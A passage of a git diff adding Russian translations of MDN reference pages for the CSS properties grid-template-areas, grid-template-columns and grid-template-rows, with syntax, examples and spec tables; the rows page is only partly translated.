+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/grid-template-areas/index.html b/files/ru/web/css/grid-template-areas/index.html
new file mode 100644
index 0000000000..5717fa5842
--- /dev/null
+++ b/files/ru/web/css/grid-template-areas/index.html
@@ -0,0 +1,185 @@
+---
+title: grid-template-areas
+slug: Web/CSS/grid-template-areas
+translation_of: Web/CSS/grid-template-areas
+---
+<p>CSS свойство <strong><code>grid-template-areas</code></strong> определяет название {{glossary("grid-области")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-template-areas.html")}}</div>
+
+
+
+<p>Области не связаны с конкретным grid элементом, но можно ссылаться с grid-placement свойств {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, and their shorthands {{cssxref("grid-row")}}, {{cssxref("grid-column")}}, and {{cssxref("grid-area")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css no-line-numbers">/* Keyword value */
+grid-template-areas: none;
+
+/* &lt;string&gt; values */
+grid-template-areas: "a b";
+grid-template-areas: "a b b"
+                     "a c d";
+
+/* Global values */
+grid-template-areas: inherit;
+grid-template-areas: initial;
+grid-template-areas: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Контейнер не определяет никаких названий grid-области.</dd>
+ <dt><code>{{cssxref("&lt;string&gt;")}}+</code></dt>
+ <dd>Строка создается каждым переносом строки, тогда как каждая колонка создается в каждой из созданных строк. Несколько прописанных маркеров в строке или через строки создает одну названную grid-область что покрывает соответствующие ячейки. Прописанные ячейки которые не создают прямоугольник - являются недействительны.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;section id="page"&gt;
+  &lt;header&gt;Header&lt;/header&gt;
+  &lt;nav&gt;Navigation&lt;/nav&gt;
+  &lt;main&gt;Main area&lt;/main&gt;
+  &lt;footer&gt;Footer&lt;/footer&gt;
+&lt;/section&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css; highlight[5-7]">#page {
+  display: grid;
+  width: 100%;
+  height: 250px;
+  grid-template-areas: "head head"
+                       "nav  main"
+                       "nav  foot";
+  grid-template-rows: 50px 1fr 30px;
+  grid-template-columns: 150px 1fr;
+}
+
+#page &gt; header {
+  grid-area: head;
+  background-color: #8ca0ff;
+}
+
+#page &gt; nav {
+  grid-area: nav;
+  background-color: #ffa08c;
+}
+
+#page &gt; main {
+  grid-area: main;
+  background-color: #ffff64;
+}
+
+#page &gt; footer {
+  grid-area: foot;
+  background-color: #8cffa0;
+}
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p><em>{{EmbedLiveSample("Example", "100%", "250px")}}</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-template-areas", "grid-template-areas")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+
+
+<p>{{Compat("css.properties.grid-template-areas")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Связанные CSS свойства: {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></em></li>
+ <li>Video tutorial: <em><a href="http://gridbyexample.com/video/grid-template-areas/">Grid Template Areas</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
+
+<div id="gtx-trans" style="position: absolute; left: 536px; top: 42px;">
+<div class="gtx-trans-icon"></div>
+</div>
diff --git a/files/ru/web/css/grid-template-columns/index.html b/files/ru/web/css/grid-template-columns/index.html
new file mode 100644
index 0000000000..f1d604ac39
--- /dev/null
+++ b/files/ru/web/css/grid-template-columns/index.html
@@ -0,0 +1,207 @@
+---
+title: grid-template-columns
+slug: Web/CSS/grid-template-columns
+tags:
+  - CSS Grid
+  - CSS сетка
+  - grid
+translation_of: Web/CSS/grid-template-columns
+---
+<p><span class="seoSummary">CSS свойство <strong><code>grid-template-columns</code></strong> определяет имена линий и функции гибкости линий. {{glossary("grid column", "grid columns")}}. Другими словами, задаёт количество столбцов "колонок" в сетке и может определять ширину каждой из них.</span></p>
+
+<p>{{EmbedInteractiveExample("pages/css/grid-template-columns.html")}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css notranslate">/* Keyword value */
+grid-template-columns: none;
+
+/* &lt;track-list&gt; values */
+grid-template-columns: 100px 1fr;
+grid-template-columns: [linename] 100px;
+grid-template-columns: [linename1] 100px [linename2 linename3];
+grid-template-columns: minmax(100px, 1fr);
+grid-template-columns: fit-content(40%);
+grid-template-columns: repeat(3, 200px);
+
+/* &lt;auto-track-list&gt; values */
+grid-template-columns: 200px repeat(auto-fill, 100px) 300px;
+grid-template-columns: minmax(100px, max-content)
+                       repeat(auto-fill, 200px) 20%;
+grid-template-columns: [linename1] 100px [linename2]
+                       repeat(auto-fit, [linename3 linename4] 300px)
+                       100px;
+grid-template-columns: [linename1 linename2] 100px
+                       repeat(auto-fit, [linename1] 300px) [linename3];
+
+/* Global values */
+grid-template-columns: inherit;
+grid-template-columns: initial;
+grid-template-columns: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Это ключевое слово означает, что нет никакой явной сетки. Любые столбцы будут создаваться неявно, и их размер будет определяться свойством {{cssxref("grid-auto-columns")}} .</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Не-отрицательная длина.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Не-отрицательное {{cssxref("percentage", "&lt;percentage&gt;")}} значение относительно встроенного контейнера сетки. Если размер сетки контейнера зависим от размера ряда элементов, то процент будет установлен автоматически.<br>
+ Ручное изменение размера элемента в процентах, приведёт к корректировочному изменению размера контейнера, и увеличит размер ряда на минимальную величину, необходимую для соблюдения процентного соотношения.  </dd>
+ <dt>{{cssxref("&lt;flex&gt;")}}</dt>
+ <dd>Не-отрицательное значение с единицей измерения <code>fr</code>, которая строго определяет <em>flex фактор линий</em> (track’s flex factor, <em>фактор гибкости линий</em>). Каждая <code>&lt;flex&gt;</code>-размерная линия берёт оставшееся пространство пропорционально flex фактору.
+ <p>Когда из вне появляется <code>minmax()</code> , это предпологает автоматический минимум  (т.е. <code>minmax(auto, &lt;flex&gt;)</code>).</p>
+ </dd>
+ <dt id="max-content"><code>max-content</code></dt>
+ <dd>Ключевое слово обозначающее самый большой из максимальных контентов элементов расположенных в данном треке.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Ключевое слово обозначающее самый большой из минимальных контентов элементов расположенных в данном треке.</dd>
+ <dt><code>{{cssxref("minmax", "minmax(min, max)")}}</code></dt>
+ <dd>Функциональное обозначение, которое задает диапазон больший или равный <em>min</em> и меньший или равный <em>max</em>. Если <em>max</em> меньше чем <em>min</em>, тогда <em>max</em> игнорируется и эта функция рассматривается как <em>min</em>. Максимумом значение <code>&lt;flex&gt;</code> устанавливает flex фактор линии (track’s flex factor). Оно не действительно как минимальное.</dd>
+ <dt id="auto"><code>auto</code></dt>
+ <dd>Это ключевое слово идентично <code>max-content</code>, если оно максимальное. Как минимальное, оно представляет наиболее минимальный размер (который определен в свойствах {{cssxref("min-width")}}/{{cssxref("min-height")}}) элементов сетки, занимающих данный трек.</dd>
+ <dd>
+ <p class="note">Обратите внимание: Только <code>auto</code> размеры трека могут быть растянуты свойствами {{cssxref("align-content")}} и {{cssxref("justify-content")}}.</p>
+ </dd>
+ <dt id="fit-content()"><code>{{cssxref("fit-content", "fit-content( [ &lt;length&gt; | &lt;percentage&gt; ] )")}}</code></dt>
+ <dd>Представляет формулу <code>min(max-content, max(auto, <var>argument</var>))</code>, которая вычисляется подобно <code>auto</code> (т.е. <code>minmax(auto, max-content)</code>), за исключением того, что размер трека ограничивается <var>argument, если он больше минимума по</var> <code>auto</code>.</dd>
+ <dt>{{cssxref("repeat", "repeat( [ &lt;positive-integer&gt; | auto-fill | auto-fit ] , &lt;track-list&gt; )")}}</dt>
+ <dd>Представляет собой повторяющийся фрагмент ряда элементов, позволяющий большому количеству колонок (по сути являющихся повторяющейся комбинацией), быть написанной в более компактном виде.</dd>
+ <dt><a href="/ru/docs/Web/CSS/CSS_Grid_Layout/Subgrid">subgrid</a></dt>
+ <dd>Значение <code><dfn>subgrid</dfn></code> означает, что сетка наследует часть родительской сетки, в которой располагается. Вместо явного определения, размеры сетки берутся из определения сетки родительского элемента.</dd>
+</dl>
+
+<div class="blockIndicator warning">
+<p>Значение subgrid определено во втором уровне спецификации Grid, и в текущий момент реализовано только в Firefox 71 и более поздних версиях.</p>
+</div>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#grid {
+  display: grid;
+  width: 100%;
+  grid-template-columns: 50px 1fr;
+}
+
+#areaA {
+  background-color: lime;
+}
+
+#areaB {
+  background-color: yellow;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="grid"&gt;
+  &lt;div id="areaA"&gt;A&lt;/div&gt;
+  &lt;div id="areaB"&gt;B&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Пример", "100%", "20px")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-template-columns", "grid-template-columns")}}</td>
+   <td>{{Spec2("CSS Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Grid 2", "#subgrids", "subgrid")}}</td>
+   <td>{{Spec2("CSS Grid 2")}}</td>
+   <td>Adds subgrid</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.grid-template-columns")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-template")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Grid_Tracks">Basic concepts of grid layout - Grid Tracks</a></em></li>
+ <li>Видео туториал: <em><a href="http://gridbyexample.com/video/series-define-a-grid/">Defining a Grid</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/grid-template-rows/index.html b/files/ru/web/css/grid-template-rows/index.html
new file mode 100644
index 0000000000..7e61d9527e
--- /dev/null
+++ b/files/ru/web/css/grid-template-rows/index.html
@@ -0,0 +1,196 @@
+---
+title: grid-template-rows
+slug: Web/CSS/grid-template-rows
+translation_of: Web/CSS/grid-template-rows
+---
+<p class="summary"><span class="seoSummary"><code>grid-template-rows</code> </span>— это<span class="seoSummary">CSS свойство, </span> которое определяет названия линий и путь размера функции <span class="seoSummary"> {{glossary("grid rows", "grid rows")}}.</span></p>
+
+<pre class="brush: css no-line-numbers">/* Keyword value */
+grid-template-rows: none;
+
+/* &lt;track-list&gt; values */
+grid-template-rows: 100px 1fr;
+grid-template-rows: [linename] 100px;
+grid-template-rows: [linename1] 100px [linename2 linename3];
+grid-template-rows: minmax(100px, 1fr);
+grid-template-rows: fit-content(40%);
+grid-template-rows: repeat(3, 200px);
+
+/* &lt;auto-track-list&gt; values */
+grid-template-rows: 200px repeat(auto-fill, 100px) 300px;
+grid-template-rows: minmax(100px, max-content)
+                       repeat(auto-fill, 200px) 20%;
+grid-template-rows: [linename1] 100px [linename2]
+                       repeat(auto-fit, [linename3 linename4] 300px)
+                       100px;
+grid-template-rows: [linename1 linename2] 100px
+                       repeat(auto-fit, [linename1] 300px) [linename3];
+
+/* Global values */
+grid-template-rows: inherit;
+grid-template-rows: initial;
+grid-template-rows: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Это свойство может быть указано как:</p>
+
+<ul>
+ <li>либо с помощью ключегого слова: <code>none</code></li>
+ <li>или значением <code>&lt;track-list&gt;</code> ,</li>
+ <li>или значением <code>&lt;auto-track-list&gt;</code> .</li>
+</ul>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Ключевое слово, обозначающее, что явной сетки нет. Любые строки будут сгенерированны неявно, а их размер будет определяться свойством: {{cssxref("grid-auto-rows")}} .</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Неотрицательное значение размера.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Неотрицательное значение {{cssxref("percentage", "&lt;percentage&gt;")}} , относительно размера блока сетки контейнера. Если размер сетки контейнера зависит от размера его пути, то процент должен рассматриваться как <code>auto</code>. Собственный размер вкладов пути может быть скорректирован в соответствии с размером сетки контейнера и увеличить конечный размер пути на минимальную величину, которая привела бы к учету процента.</dd>
+ <dd><br>
+ <strong>{{cssxref("&lt;flex_value&gt;","&lt;flex&gt;")}}</strong><br>
+ Is a non-negative dimension with the unit <code>fr</code> specifying the track’s flex factor. Each <code>&lt;flex&gt;</code>-sized track takes a share of the remaining space in proportion to its flex factor. When appearing outside a <code>minmax()</code> notation, it implies an automatic minimum (i.e. <code>minmax(auto, &lt;flex&gt;)</code>).</dd>
+ <dt><code>max-content</code></dt>
+ <dd>Is a keyword representing the largest maximal content contribution of the grid items occupying the grid track.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Is a keyword representing the largest minimal content contribution of the grid items occupying the grid track.</dd>
+ <dt>{{cssxref("minmax", "minmax(min, max)")}}</dt>
+ <dd>Это CSS функция, определяющая диапазон размеров, который больше или равен <var>min</var> и меньше или равен <var>max</var>. Если <em>max</em> меньше чем <em>min</em>, то <em>max</em> игнорируется и функция обрабатывается как <em>min</em>. As a maximum, a <code>&lt;flex&gt;</code> value sets the track’s flex factor. It is invalid as a minimum.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Is a keyword that is identical to maximal content if it's a maximum. As a minimum it represents the largest minimum size (as specified by {{cssxref("min-width")}}/{{cssxref("min-height")}}) of the grid items occupying the grid track.</dd>
+ <dd>
+ <p class="note">Note: <code>auto</code> track sizes (and only <code>auto</code> track sizes) can be stretched by the {{cssxref("align-content")}} and {{cssxref("justify-content")}} properties.</p>
+ </dd>
+ <dt>{{cssxref("fit-content", "fit-content( [ &lt;length&gt; | &lt;percentage&gt; ] )")}}</dt>
+ <dd>Represents the formula <code>min(max-content, max(auto, <var>argument</var>))</code>, which is calculated similar to <code>auto</code> (i.e. <code>minmax(auto, max-content)</code>), except that the track size is clamped at <var>argument</var> if it is greater than the <code>auto</code> minimum.</dd>
+ <dt>{{cssxref("repeat", "repeat( [ &lt;positive-integer&gt; | auto-fill | auto-fit ] , &lt;track-list&gt; )")}}</dt>
+ <dd>Represents a repeated fragment of the track list, allowing a large number of rows that exhibit a recurring pattern to be written in a more compact form.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">#grid {
+  display: grid;
+  height: 100px;
+  grid-template-rows: 30px 1fr;
+}
+
+#areaA {
+  background-color: lime;
+}
+
+#areaB {
+  background-color: yellow;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="areaA"&gt;A&lt;/div&gt;
+  &lt;div id="areaB"&gt;B&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Examples", "40px", "100px")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-template-rows", "grid-template-rows")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.grid-template-rows")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-template")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Grid_Tracks">Basic concepts of grid layout - Grid Tracks</a></em></li>
+ <li>Video tutorial: <em><a href="http://gridbyexample.com/video/series-define-a-grid/">Defining a Grid</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
